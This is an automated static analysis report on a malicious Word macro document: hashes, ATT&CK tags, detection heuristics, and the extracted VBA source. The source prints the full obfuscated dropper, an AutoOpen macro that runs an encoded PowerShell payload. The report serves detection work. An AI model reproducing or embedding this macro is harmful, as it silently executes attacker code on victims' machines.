Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2b3638961858e5b8…

MALICIOUS

Office (OLE)

86.2 KB Created: 2018-06-07 12:26:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 5844af02cd01099d247efd8d3ea38799 SHA-1: c9c3643b29e50f9dfa91f06bc4e0e8a890f016c0 SHA-256: 2b3638961858e5b86d503b393b541b589b439a392b40227a8bb78dcd16faa841
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Autoopen macro triggers a Shell() call, which is highly indicative of executing a secondary payload. The ClamAV detection and heuristic firings for Shell() calls and auto-exec macros confirm this malicious behavior. The script attempts to construct a PowerShell command, but the full command is truncated.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6576060-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6576060-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    / 67186 + Log(11538))
jlwJAziWcb = oZXhEc + Shell(LKPusqJb + Chr(aYzuzRL + vbKeyP + IUYYatawUq) + JKCNDJlzsp + IuQFUM + jqJopXY + uOtlJaBDODa + iwvaiZtZj + tRhYYczZ, 20081 - 20081)
XXdRh = Tan(juFDdB _
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub Autoopen()
On Error Resume Next
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11386 bytes
SHA-256: 181f1e249dd5ce3a686cbc16ac78e3ea3db94ed2214f2f868c8b53b1d0b9a6dd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jfDdqsXsdXo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function jlwJAziWcb()
On Error Resume Next
qZqsO = Tan(stSIvV _
* Tan(jdwLP * Int(HnwPM * Sqr(61352) / EmzWss + Fix(5080)) / 87286 * Round(56512 / Log(50235 - ospcr) + 46076 - fAvPkf)) _
/ 54400 + Log(85866))
CZsJdM = Tan(uFvwPC _
* Tan(jFDwW * Int(Pivac * Sqr(63621) / moCSuz + Fix(12489)) / 99896 * Round(37965 / Log(71691 - YcMuX) + 90852 - XchPJj)) _
/ 67186 + Log(11538))
jlwJAziWcb = oZXhEc + Shell(LKPusqJb + Chr(aYzuzRL + vbKeyP + IUYYatawUq) + JKCNDJlzsp + IuQFUM + jqJopXY + uOtlJaBDODa + iwvaiZtZj + tRhYYczZ, 20081 - 20081)
XXdRh = Tan(juFDdB _
* Tan(wTMUn * Int(tKUHA * Sqr(96915) / EwXiW + Fix(67475)) / 77772 * Round(57876 / Log(67745 - qTjcvR) + 79026 - RaHjN)) _
/ 4820 + Log(79445))
End Function
Sub Autoopen()
On Error Resume Next
LMLDPc = Tan(briWb _
* Tan(uNlNrW * Int(Dvzsf * Sqr(77027) / YwXkVp + Fix(55196)) / 45806 * Round(53944 / Log(36388 - MNAHkN) + 91013 - mWNVT)) _
/ 43634 + Log(61529))
jlwJAziWcb
pPOSYb = Tan(vcUwBm _
* Tan(XlShi * Int(AvKkz * Sqr(33457) / NKdEN + Fix(78878)) / 1890 * Round(75580 / Log(15053 - AIkTE) + 59883 - Otbiz)) _
/ 54134 + Log(4961))
End Sub



Attribute VB_Name = "rWntFdUGajkz"
Function JKCNDJlzsp()
On Error Resume Next
lEiUzp = Tan(zZDArn _
* Tan(QGkCp * Int(FJaBJE * Sqr(99457) / RHwtv + Fix(41020)) / 10897 * Round(89909 / Log(70568 - IOchT) + 97786 - FzkVS)) _
/ 59648 + Log(1461))
jHpJLW = "owe" + "rsHeLL -e" + " IAAmACAAKA" + "AgACQAUw"
kZcdj = Tan(vppiR _
* Tan(GvSQV * Int(jtaDY * Sqr(81818) / zDGPhz + Fix(55737)) / 91797 * Round(60964 / Log(22288 - dQEoNZ) + 75428 - CszKfT)) _
/ 1243 + Log(92924))
loqikJon = "BoAEUATA" + "BMA" + "Gk" + "AZABbADEAXQArA" + "CQAUwB" + "IAGU" + "AbABMAEkAZABbAD" + "EAMwBdAC" + "sAJwBYACcAK" + "QA"
GnjAlB = Tan(IpZHio _
* Tan(ajWmE * Int(ujAQZ * Sqr(77764) / zsawhC + Fix(64807)) / 78604 * Round(84349 / Log(59857 - sPVjYz) + 60120 - OhWbI)) _
/ 63159 + Log(92711))
WuQMwm = "gACgA" + "bgBFAHcALQ" + "BPAEIASgBFA" + "GMAdAAgAE" + "kATwAuAEMA" + "bwBt" + "AFAA"
AanPaz = Tan(iQOda _
* Tan(GViEbu * Int(wOIAlJ * Sqr(50825) / dRRPk + Fix(46946)) / 63758 * Round(27879 / Log(8708 - UvzmQ) + 19063 - EkHLo)) _
/ 43895 + Log(64354))
QctadQz = "UgB" + "FAFMA" + "UwBp" + "AG8ATgAuAEQAZQB"
GimSmi = Tan(WPFzw _
* Tan(pHZHi * Int(GzsJzw * Sqr(58563) / YSqouk + Fix(55875)) / 57779 * Round(81189 / Log(90119 - RlCYhj) + 32986 - HOdiE)) _
/ 18669 + Log(64964))
RtzlRYNbAq = "GAGwAYQBU" + "AEUAcwBUAFIAR" + "QBhAE0A" + "KABbAHMA" + "eQBTAHQAR" + "QBNAC4" + "ASQBPAC4ATQBlAE"
mOYoTI = Tan(sDYQEL _
* Tan(LRiLMD * Int(bKcjk * Sqr(43696) / vkmfM + Fix(19319)) / 81853 * Round(29680 / Log(33910 - cJnJU) + 17128 - MBWCL)) _
/ 7655 + Log(86428))
jMrmqcLYSBv = "0A" + "TwByAHkA" + "cw" + "BUAFIAZQBhAE0AX"
JKCNDJlzsp = jHpJLW + loqikJon + WuQMwm + QctadQz + RtzlRYNbAq + jMrmqcLYSBv
End Function
Function IuQFUM()
On Error Resume Next
dWLDvH = Tan(lizTll _
* Tan(BuwzXi * Int(QuGBM * Sqr(39550) / AQkjti + Fix(66547)) / 76685 * Round(60285 / Log(22026 - ztYJM) + 2293 - iTzbF)) _
/ 23332 + Log(61797))
UXJzn = "QBbAHMAW" + "QBzAFQA" + "RQBNAC4" + "AQwBPAE4AdgB" + "lAHI" + "AVABd" + "ADoAOgBGAHIAbw" + "BtAEI"
uNbEC = Tan(mAlONm _
* Tan(DJNPld * Int(piGhF * Sqr(59113) / AjYKXA + Fix(68428)) / 76570 * Round(39922 / Log(23564 - JmMtmv) + 99340 - ibJlL)) _
/ 40230 + Log(65859))
CLOjK = "AYQBzAEUANgA0" + "AHMAdABSAGkAT" + "gBnACg" + "AIAAnAFYA" + "WgBC" + "AGgAYQA" + "4AEkAdwBFAEk" + "AYgAvAFMAagA0A"
UPHtw = Tan(BmQME _
* Tan(mIPpBo * Int(rMwrLi * Sqr(83134) / HqzMpp + Fix(86571)) / 28246 * Round(46943 / Log(26061 - bllZc) + 51436 - KbWLUk)) _
/ 44862 + Log(86657))
GuwPzsEcI = "FUAMgBqAEoAT" + "gBjAFkATw" + "A1AFcAUQB" + "iA" + "HEANwB"
uYXvLH = Tan(uvTzO _
* Tan(ttrbjM * Int(GmTRUX * Sqr(29777) / vVMpww + Fix(96909)) / 80535 * Round(1750 / Log(34574 - UNriI) + 52851 - LicUtB)) _
/ 20274 + Log(5562))
jdmXJjr = "NAFkAYwB" + "VADYARQB5" + "AEgAUQB4AEcARwB" + "zADgA" + "MgBtAGkAWQ" + "AxAHYAZ" + "ABsAFcAOABiA" + "CsAdgBtADAAWA"
HFGans = Tan(wZGJSA _
* Tan(DqJcsc * Int(IKpsM * Sqr(63975) / bcLft + Fix(27349)) / 81856 * Round(70709 / Log(89549 - SbTsEB) + 34294 - KnYdj)) _
/ 47664 + Log(34374))
oaNOzkuYkC = "BZAGwANABPADcAN" + "QAzADIA" + "NQBl" + "ADgAKwBLAHMAawB" + "sAGcAV" + "QB2"
VzuQhb = Tan(tXzui _
* Tan(mETvS * Int(QIWDJ * Sqr(45866) / Cuczsn + Fix(25391)) / 35829 * Round(85965 / Log(82804 - dJrQaV) + 14955 - njYiF)) _
/ 65383 + Log(33630))
XfUEb = "AEoAQ" + "QBGA" + "EIAUgB0AEgAVw" + "AyAEEASQB6AEYAT" + "QByAFgAVABxAFc" + "ANQB"
IuQFUM = UXJzn + CLOjK + GuwPzsEcI + jdmXJjr + oaNOzkuYkC + XfUEb
End Function
Function jqJopXY()
On Error Resume Next
BSwwl = Tan(wZQRZE _
* Tan(RGtNc * Int(JRziB * Sqr(91645) / kziLW + Fix(30254)) / 52208 * Round(45378 / Log(23360 - tuFlK) + 35345 - IwDzV)) _
/ 56376 + Log(58467))
WSBPFXBkt = "OA" + "DAATwBO" + "AGoA" + "OQBSA" + "DIARwB" + "WAEkA" + "NgB" + "SADAAQQBrAGcA" + "WABFAEQ"
dQIzB = Tan(zAiIwv _
* Tan(uJdkF * Int(zSWjw * Sqr(98785) / ZEsDOW + Fix(99279)) / 82115 * Round(87635 / Log(99251 - ZLQvu) + 43546 - LXuNmZ)) _
/ 28171 + Log(32014))
tuCqYOrpb = "AMQB" + "LAEEAUQB" + "wADkAYQA3AE0ANA" + "By" + "AEYAKwBlAG" + "EA"
iCGjK = Tan(BKsIft _
* Tan(vOBJKK * Int(pDXADm * Sqr(54229) / LSSow + Fix(98415)) / 40645 * Round(77403 / Log(75929 - IbJGD) + 74042 - jjbjMc)) _
/ 29542 + Log(8089))
AfmYqaLCwGf = "NgBXAGQASQBHAF" + "kAOQB6AD" + "AAcwBxAEI" + "AVgBzAEsA" + "MwA1ADQAWQBWA" + "GcA"
haiFf = Tan(Wwwap _
* Tan(vdaaNt * Int(ikjAl * Sqr(18242) / DAYwp + Fix(5887)) / 69721 * Round(53094 / Log(34524 - JhkkFN) + 13784 - wznFBG)) _
/ 97937 + Log(67262))
SISTizzGQt = "TQArAEE" + "ANgAvAGYAQQBD" + "ADUAWgB" + "uAG"
VmzZs = Tan(KUVXAl _
* Tan(HTLfQj * Int(RdWcY * Sqr(78109) / jzzSz + Fix(12798)) / 80187 * Round(28646 / Log(79684 - VQlZP) + 69190 - HrKsUu)) _
/ 40970 + Log(80604))
KzkCF = "cAcwB1ADE" + "ASgBaAEcANAB1" + "AEQAS" + "gBaAFgAV" + "QBZAHMAdwBzA" + "DEATABFADkAZwBU" + "ADcAVwBKAH" + "YAWgAzAEsA" + "dQBtAFYAOABJA"
awsPU = Tan(EmiXW _
* Tan(Aiwsi * Int(KzuiBt * Sqr(62465) / hiRMD + Fix(58010)) / 54414 * Round(63638 / Log(62484 - WZzUMz) + 91757 - NkHMNA)) _
/ 80287 + Log(6073))
akduSI = "FUASwB" + "0AE" + "kARQBz" + "ADEANQBUAHI" + "AMQBkAHEALwBCA" + "HoAUQBV"
qYruw = Tan(zTaURU _
* Tan(dTzDVE * Int(qnvnJf * Sqr(91971) / UQRWz + Fix(37817)) / 73062 * Round(17338 / Log(79134 - YqAAmi) + 57491 - WHnPK)) _
/ 59007 + Log(71533))
OABivjWIiA = "AFUAVA" + "BFAHEAbwAvAGkAd" + "wBmAFMAN" + "QBSAGoAegA2AF" + "oAaABKAGcAVQA2" + "AGQAd" + "AA5ADIAZgBlAHM" + "AOQBuAEUAMQ"
jqJopXY = WSBPFXBkt + tuCqYOrpb + AfmYqaLCwGf + SISTizzGQt + KzkCF + akduSI + OABivjWIiA
End Function
Function uOtlJaBDODa()
On Error Resume Next
TDcEl = Tan(nkzJC _
* Tan(UYrKIE * Int(NrqAQJ * Sqr(72105) / oaFGn + Fix(72147)) / 77208 * Round(99823 / Log(67096 - kNFDPA) + 56281 - iCzQdG)) _
/ 11132 + Log(64618))
XpYPqUVcilf = "AxA" + "GYAWgBo" + "ADEAegBrAGs" + "AVgBsA" + "E8AaAAw" + "AF" + "cAd" + "QBTADYAZQAz"
UdCLv = Tan(JwKuC _
* Tan(JjYId * Int(qrKbp * Sqr(45319) / aiLXww + Fix(1977)) / 10557 * Round(27244 / Log(37735 - jVpNv) + 8500 - GaMZW)) _
/ 49121 + Log(15609))
OtXRIUL = "AGQALwAyA" + "DYAawBGADYAeQ" + "BtA" + "GYAagAzADQAR" + "gBvAFAA" + "YQA5AE8AbABwA"
iOpMs = Tan(iWURwb _
* Tan(vBKvM * Int(bIhdw * Sqr(11583) / jwcBM + Fix(73065)) / 30431 * Round(92146 / Log(31111 - PBaiBw) + 40957 - zdqKZC)) _
/ 57247 + Log(18111))
sHbWjoRSGD = "EcAcgBv" + "AGoAOQBhAGQ" + "AZQA" + "xADgAZABZAHQAa" + "ABSAEo" + "AcwBm" + "ADYAMA" + "BOAE0ASgA0ADQA" + "MQBpADcAS"
jsAls = Tan(VEitT _
* Tan(MLSfP * Int(ulSZJM * Sqr(64687) / cjYWaX + Fix(5332)) / 27241 * Round(67982 / Log(6974 - AWuFi) + 38065 - BqkSY)) _
/ 60382 + Log(20380))
SJbYmPAdI = "QB3AHcAVQBSA" + "GkAagBTADU" + "AMwB" + "TAE8AYQA2" + "AG4A"
jXFGi = Tan(DtipjL _
* Tan(vCwbO * Int(OXzjo * Sqr(11437) / KrOKH + Fix(86470)) / 23662 * Round(35220 / Log(76683 - JcUbzd) + 31008 - wIlGo)) _
/ 74309 + Log(81237))
KDSaH = "agArAEYAaAAzAH" + "AA" + "UQBrAG4A" + "TgBWAGsAOQBDAF" + "EAaQBPAGwA" + "YwB4" + "ADI" + "Aa" + "QB"
Pwkjq = Tan(AidMi _
* Tan(hnwBI * Int(oztoR * Sqr(87405) / QqzSEC + Fix(54424)) / 39021 * Round(94837 / Log(56702 - hEosb) + 81869 - kzwiLJ)) _
/ 70236 + Log(96163))
nWjtwspUMLK = "FAFMAcAAyA" + "DMAQ" + "gBZADUATA" + "AzAFQAOQBFAE" + "oAbgBCADkAc" + "wB4AG8ARAB" + "uAG4AZQBU" + "AFAAMgBvAD"
zqQbf = Tan(AaaDLY _
* Tan(BzkJi * Int(DiwXD * Sqr(81332) / tnhini + Fix(12806)) / 73126 * Round(58933 / Log(56379 - CkqENR) + 46931 - ZazzwB)) _
/ 51342 + Log(32566))
EHjvYb = "MAcg" + "BE" + "ADEAVAA1" + "AHcAaABUA"
iBTNkw = Tan(MsvPcS _
* Tan(XWDHw * Int(zVizXQ * Sqr(11078) / qjdNRM + Fix(7591)) / 56802 * Round(18830 / Log(36812 - lsrVW) + 16723 - HDaau)) _
/ 88943 + Log(54631))
UnWZlwrzV = "DQANgBGAEUAUQ" + "BqAHQAUgBP" + "AGQASQByAEMAOAB" + "hAGwAQgB3AHkAR" + "gBGAHIAUgB0" + "ADkAcgB" + "BAFkA" + "dgBCAFAAcAB4AD" + "gAPQAnACkAIAAsA"
uOtlJaBDODa = XpYPqUVcilf + OtXRIUL + sHbWjoRSGD + SJbYmPAdI + KDSaH + nWjtwspUMLK + EHjvYb + UnWZlwrzV
End Function
Function iwvaiZtZj()
On Error Resume Next
uNWUpT = Tan(BWISCL _
* Tan(TtMkp * Int(kIzIq * Sqr(41535) / CWPpj + Fix(70403)) / 57685 * Round(35337 / Log(82431 - pdzsr) + 39863 - DFqBj)) _
/ 62382 + Log(28076))
TAwLuLIFI = "CAAWwBpAG8AL" + "gBDAG" + "8AbQBQAFI" + "ARQBzAFMAaQBPA" + "G4ALgBDAE8AT" + "QBQAFIARQ" + "BzAFMA" + "aQBP" + "AE4A" + "TQBvA"
EQClN = Tan(iUKqi _
* Tan(TjShn * Int(mXHrTt * Sqr(76762) / FkiHTp + Fix(1489)) / 60931 * Round(58552 / Log(39540 - jdtLJn) + 5114 - NsUnJ)) _
/ 28660 + Log(12312))
GcSEVVM = "EQARQBdADoAO" + "gBEAEUA" + "QwBvAG0AUA" + "ByAGUAUwBz" + "ACkAfAAgAEYA" + "TwBSAEUAQQBjA" + "GgAIAB7A" + "G4ARQB3AC0A"
rCMwJz = Tan(ItpDW _
* Tan(GnEzGG * Int(tLzEQj * Sqr(50651) / kwVsMv + Fix(17654)) / 55804 * Round(33754 / Log(45991 - jDlRU) + 69471 - XHFPqD)) _
/ 16616 + Log(13736))
MIjzViBKqns = "TwBCA" + "Eo" + "ARQB" + "jAHQAIAB" + "pAE8" + "AL" + "gBzAHQAUgB" + "lAG" + "EAbQBSA"
fEIfd = Tan(fXzTK _
* Tan(tzKnZ * Int(XvIudU * Sqr(71169) / TpVGS + Fix(68998)) / 11241 * Round(90588 / Log(56566 - JsoLY) + 25332 - AZViK)) _
/ 89703 + Log(54562))
nnwnMaZQ = "EUAQQBkAE" + "UA" + "UgAoACAAJABfACw" + "AWwBzAFkAUwBU"
OlLsl = Tan(nuUEpC _
* Tan(BaEwTm * Int(hzLWua * Sqr(56467) / PiJusp + Fix(7696)) / 96784 * Round(88426 / Log(4514 - zVzUHj) + 19975 - zwRjqI)) _
/ 96825 + Log(67661))
zbVKvkmM = "AGUAbQAuAHQAZ" + "QBYA" + "FQA" + "LgBFAG4AQwBPAE" + "QAaQBOAEcAXQA6A"
apzKz = Tan(fpvvKC _
* Tan(cKvbpI * Int(fDnkzd * Sqr(92486) / wSmuGp + Fix(46141)) / 8636 * Round(8535 / Log(63742 - cRiMoA) + 51385 - WHkOS)) _
/ 80115 + Log(97529))
iwpdDzpzWC = "Do" + "AYQBTAGMASQBp" + "ACAAKQAgAH0AIAA" + "pAC" + "4AUgB" + "FAEEAZA"
iwvaiZtZj = TAwLuLIFI + GcSEVVM + MIjzViBKqns + nnwnMaZQ + zbVKvkmM + iwpdDzpzWC
End Function
Function tRhYYczZ()
On Error Resume Next
WCNNTw = Tan(rcIPvH _
* Tan(Frupj * Int(AqzkW * Sqr(52948) / pOETE + Fix(14181)) / 10604 * Round(2246 / Log(4269 - Tffjnk) + 60386 - iuSBsT)) _
/ 55660 + Log(17935))
YDfzuCF = "BUAG8AZQBuAEQAK" + "AAgACkAIAA="
tRhYYczZ = YDfzuCF
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.